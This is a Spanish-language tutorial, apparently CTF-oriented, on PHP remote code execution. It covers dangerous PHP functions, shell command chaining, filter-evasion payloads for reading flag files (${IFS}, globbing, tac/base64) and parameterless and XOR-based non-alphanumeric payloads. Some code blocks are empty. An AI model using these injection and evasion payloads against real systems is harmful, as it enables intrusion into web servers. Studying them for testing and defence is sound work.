Las vulnerabilidades de ejecución remota de comandos (RCE) ocurren cuando una aplicación no filtra adecuadamente las entradas del usuario, permitiendo que un atacante inyecte y ejecute comandos arbitrarios en el sistema operativo o código en el contexto del intérprete de lenguaje (como PHP).
1. Ejecución de Código PHP
Existen funciones específicas en PHP diseñadas para evaluar cadenas como código ejecutable. Si el control sobre estas funciones es insuficiente, la seguridad del servidor se ve comprometida.
- eval(): Evalúa una cadena de texto como código PHP. ```
- assert(): Similar a eval, pero diseñada para depuración. En versiones anteriores a PHP 7, si se pasa una cadena, se ejecuta como código. ```
assert("phpinfo()");
- Invocación Dinámica (call_user_func): Permite llamar a funciones de forma dinámica. ```
- Inyección en create_function(): Esta función crea una función anónima (lambda). Si se controla el segundo argumento, se puede cerrar la estructura de la función orignial y ejecutar código propio. ```
2. Ejecución de Comandos de Sistema
PHP ofrece funciones para interactuar directamente con el shell del sistema operativo.
- system(): Ejecuta un comando y muestra la salida directamente. ```
- exec(): Ejecuta un comando pero solo devuelve la última línea de la salida. ```
- shell_exec() y Operador Backtick (``): Ejecutan comandos y devuelven la salida completa como una cadena. ```
3. Conectores de Comandos
En entornos tipo Unix y Windows, se pueden enacdenar múltiples comandos utilizando operadores especiales:
| Operador | Comportamiento |
|---|---|
; |
Ejecuta comandos secuencialmente (solo Linux). |
& |
Ejecuta el primer comando en segundo plano y continúa con el segundo. |
&& |
Ejecuta el segundo comando solo si el primero tuvo éxito. |
| |
Pasa la salida del primero al segundo comando. |
|| |
Ejecuta el segundo comando solo si el primero falla. |
4. Técnicas de Evasión de Filtros
Cuando existen firewalls de aplicaciones web (WAF) o filtros de palabras clave, se utilizan diversas técnicas para evadir la detección.
Evasión de Espacios
Si el carácter de espacio está prohibido, se pueden usar alternativas:
cat${IFS}flag.php
cat<flag.php
{cat,flag.php}
%09 (Tabulación en URL)
Evasión de Nombres de Archivos (Globbing)
Uso de comodines para evitar escribir palabras como "flag":
cat f[l]ag.php
cat f?ag.p*
cat fl''ag.php
cat fl""ag.php
Comandos Alternativos para Lectura
Si cat está bloqueado, existen otras utilidades:
tac flag.php (lee al revés)
more flag.php
tail flag.php
head flag.php
nl flag.php (con números de línea)
base64 flag.php (codifica el contenido)
5. Escenarios de Explotación Avanzada
RCE sin Parámetros
En situaciones donde la expresión regular solo permite funciones sin argumentos (ej. /[a-z_]+\(\)/), se deben anidar funciones integradas de PHP para manipular el puntero del sistema de archivos.
// Lee el contenido del directorio actual
print_r(scandir(pos(localeconv())));
// Lee el último archivo del directorio
show_source(end(scandir(pos(localeconv()))));
RCE no Alfanumérico
Si se filtran todas las letras y números, se pueden reconstruir comandos mediante operaciones bit a bit como XOR (^) o NOT (~) utilizando caracteres especiales.
Ejemplo de generación de payload mediante XOR en PHP:
<?php
$objetivo = "system";
$xor_res = "";
for ($i = 0; $i < strlen($objetivo); $i++) {
$xor_res .= "%" . dechex(ord($objetivo[$i]) ^ 0xff);
}
echo $xor_res . "^" . str_repeat("%ff", strlen($objetivo));
// Salida: %8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff
?>
Este payload permite ejecutar funciones sin necesidad de que las letras aparezcan literalmente en la solicitud HTTP original.